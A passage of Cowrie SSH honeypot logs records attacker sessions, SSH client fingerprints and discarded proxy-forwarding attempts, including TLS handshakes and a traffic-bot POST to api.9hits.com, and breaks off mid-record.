\\x14\\xc2v%\\xbc\\xf1\\xd7\\x16Y\\x03\\xcahU\\x84\\x7f\\x00\\x8d\\x7f\\xbf\\xa0C\\x1b\\xc4\\xba\\xf0\\xdc\\xb5\\xb0\\'\\x9b\\x1fz\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xedC)\\xa7\\x17\\xe1\\xeb\\x12[Fs\\x19wh\\x02&\\xaa\\xfa\\xca\\xffD\\x98\\xfbOv_ \\x84e\\x1d;\\xb5 i\\xa4I\\xaa\\x8d\\x97\\x01akK]O\\x145$\\xb5\\xcc\\xdc\\x1b\\xa8,\\x812\\xdeT\\xfb\\x0b)\\xe2\\x98DY\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14\\xc2v%\\xbc\\xf1\\xd7\\x16Y\\x03\\xcahU\\x84\\x7f\\x00\\x8d\\x7f\\xbf\\xa0C\\x1b\\xc4\\xba\\xf0\\xdc\\xb5\\xb0\\'\\x9b\\x1fz\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:49.393552Z","src_ip":"123.27.168.40","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:49.481564Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:49.749736Z","src_ip":"123.27.168.40","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:50.159039Z","src_ip":"91.92.40.36","session":"7ec8afcf34be","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:50.730557Z","src_ip":"91.92.40.36","session":"620ad4f869f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:50.733363Z","src_ip":"91.92.40.36","session":"620ad4f869f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:52.769372Z","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:52.789754Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; E110) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eChHMSVlWChaRHIyS0VYQw%3D%3D%2BIFXVV9QSFyCCa5XLh67ON3wrMock5fbH3WN42E1VqAI1rID9CHBQt1wIbfLI8xsBGAkwu%2BOGmlxmL739zHcdCqphjGGQ7RwfgAsqIpJE%2BBKOuKcSGoWdb7dV%2Fm9w4G5MXOZlculR2w%2FDut3yFLYUvBJ2s0fpzTFDKGOtYPpx%2BZZVxHtmVgR1UoesmKN6iZgJJDwasmlg2ddky5S0mavgQGjObkUMKvEiRu5X%2FHUMOAoLKyvCwwcxjzWLsy83msPRlPW7dS3THXWnMuxBNoYynyotWRniOyWuTl1hMOWzumjniI7GiM6OR0kYGGkbuD2Z2U7hiVWkAi2IMIta2N0EfcySX2wM7ONy%2BlDgxIoU6adW7r6X4EO3%2Bb4FbR7lJanRDBCqnrBPPoA3q17tIlmmZJSY46uav26LwIRBjwKHesK6y7n1KJYCzuCkJ34had%2FKsCOL%2BE7f5Ur5ykYpITeyAEx8HhVUZYDBOdCrNQ2YBybntDHlL7rVqu91rK2NW1JrSzI6Sipy7Ihe18Y5Ojt3LPlVdAnpZFHDT1oDpOU1rs0KaNWmFNtn13xs5qw7JcCaR7OpxjFdbPxtSu8s1vwd5VMtsolgUq1yQkxob4mlzilJg9tLB4v4suou10opvfRzaKSP6VZiNFwpa%2BgPDJSgIpfIAD%2FecoU7iAix2xhk%2FKGWC21vppxcMzcqfYc1MczXwbtYp592nCQf5%2Bi9tMg8EvJAdyfazE6IeyJ%2FqdTtolpMAAVGqtr9q1OvbxfOMrr5Xr5kZu9i1hmqv67rNUl6r1gdDo5ZxAHgY5HkNcbM0OlIAr6fI2ZFgoH1IuHiEBPfJjE6nVw2YxcFpwPttWXGmLaEzimy9B4u5FLXieC%2FbOw0VP%2BesF%2FdvuFfC6FS3Sqy5BUDPDm38KeqMUw3fw%2ByeNIfYBCLibJJtQCeOp9Ad6yV2nRgmJPYgRx0DjmfwR07njr3kJiEdamZlMQ5U1qz96hWmKwqKFw5jr05ryF%2BbSAZiBcuRVTXjXUbzm36UVUsrqs%2FRVWGhFHK4EwsGSnjYou9IiQAnKD7zlX%2Bi0xoorQP6ARcckY0APHv1VjcXHd'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; E110) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eChHMSVlWChaRHIyS0VYQw%3D%3D%2BIFXVV9QSFyCCa5XLh67ON3wrMock5fbH3WN42E1VqAI1rID9CHBQt1wIbfLI8xsBGAkwu%2BOGmlxmL739zHcdCqphjGGQ7RwfgAsqIpJE%2BBKOuKcSGoWdb7dV%2Fm9w4G5MXOZlculR2w%2FDut3yFLYUvBJ2s0fpzTFDKGOtYPpx%2BZZVxHtmVgR1UoesmKN6iZgJJDwasmlg2ddky5S0mavgQGjObkUMKvEiRu5X%2FHUMOAoLKyvCwwcxjzWLsy83msPRlPW7dS3THXWnMuxBNoYynyotWRniOyWuTl1hMOWzumjniI7GiM6OR0kYGGkbuD2Z2U7hiVWkAi2IMIta2N0EfcySX2wM7ONy%2BlDgxIoU6adW7r6X4EO3%2Bb4FbR7lJanRDBCqnrBPPoA3q17tIlmmZJSY46uav26LwIRBjwKHesK6y7n1KJYCzuCkJ34had%2FKsCOL%2BE7f5Ur5ykYpITeyAEx8HhVUZYDBOdCrNQ2YBybntDHlL7rVqu91rK2NW1JrSzI6Sipy7Ihe18Y5Ojt3LPlVdAnpZFHDT1oDpOU1rs0KaNWmFNtn13xs5qw7JcCaR7OpxjFdbPxtSu8s1vwd5VMtsolgUq1yQkxob4mlzilJg9tLB4v4suou10opvfRzaKSP6VZiNFwpa%2BgPDJSgIpfIAD%2FecoU7iAix2xhk%2FKGWC21vppxcMzcqfYc1MczXwbtYp592nCQf5%2Bi9tMg8EvJAdyfazE6IeyJ%2FqdTtolpMAAVGqtr9q1OvbxfOMrr5Xr5kZu9i1hmqv67rNUl6r1gdDo5ZxAHgY5HkNcbM0OlIAr6fI2ZFgoH1IuHiEBPfJjE6nVw2YxcFpwPttWXGmLaEzimy9B4u5FLXieC%2FbOw0VP%2BesF%2FdvuFfC6FS3Sqy5BUDPDm38KeqMUw3fw%2ByeNIfYBCLibJJtQCeOp9Ad6yV2nRgmJPYgRx0DjmfwR07njr3kJiEdamZlMQ5U1qz96hWmKwqKFw5jr05ryF%2BbSAZiBcuRVTXjXUbzm36UVUsrqs%2FRVWGhFHK4EwsGSnjYou9IiQAnKD7zlX%2Bi0xoorQP6ARcckY0APHv1VjcXHd'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:52.793100Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:53.243818Z","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:53.311528Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\x91\\x12n7T\";\\xaf>\\xda\\x95U^\\xaf\\x183\\xb1Q\\x8c\\x9f\\x12\\xe9\\x9a/fB\\xba\\x15X\\xa4\\x87 K\\x1e\\x90\\xa6$L6\\xf9@w1\\xc9r}\\x9dKfo\\xc7\\x1do\\xf9Y\\xe8uF\\x81\\x97y\\xf7L\\xc9\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x12\\xe3\\xac\\xaf\\xb9\\x90\\xb03u\\xdb\\xa4\\xe2>\\x84\\xf2A\\x12>\\x9b6\\x04\\xa9\\xfd\\xb4\\x1e\\x15v\\x80\\xc0\\xf2\\xa9E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\x91\\x12n7T\";\\xaf>\\xda\\x95U^\\xaf\\x183\\xb1Q\\x8c\\x9f\\x12\\xe9\\x9a/fB\\xba\\x15X\\xa4\\x87 K\\x1e\\x90\\xa6$L6\\xf9@w1\\xc9r}\\x9dKfo\\xc7\\x1do\\xf9Y\\xe8uF\\x81\\x97y\\xf7L\\xc9\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x12\\xe3\\xac\\xaf\\xb9\\x90\\xb03u\\xdb\\xa4\\xe2>\\x84\\xf2A\\x12>\\x9b6\\x04\\xa9\\xfd\\xb4\\x1e\\x15v\\x80\\xc0\\xf2\\xa9E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:53.315252Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:53.357850Z","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:53.372198Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\x1c\\xe6\\xbe\\x18\\xb6\\xa8\\xcc\\xa1M]I\\xeev\\xdd\\x9d\\xcc\\x0e\\x1cW\\xbc\\xe2\\xb9\\xd0F(<\\xf3\\xc94\\xf5K *0>\\xf7\\'gL\\xd9\\xa7\\xd6\\xfb\\xf0\\xa4\\x0b\\xa9Y\\xca bo\"\\xd2\\xcb\\x11rD\\'\".Zz\\xbd\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 F\\xf4\\xf5v\\r\\xab_\\xd4\\xcc\\x18~\\xb6\\xc1A\\xed \\xf4\\x16j\\xb8\\xadu\\xda\\x18\\x16\\x90x\\xa9>\\x8ei&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\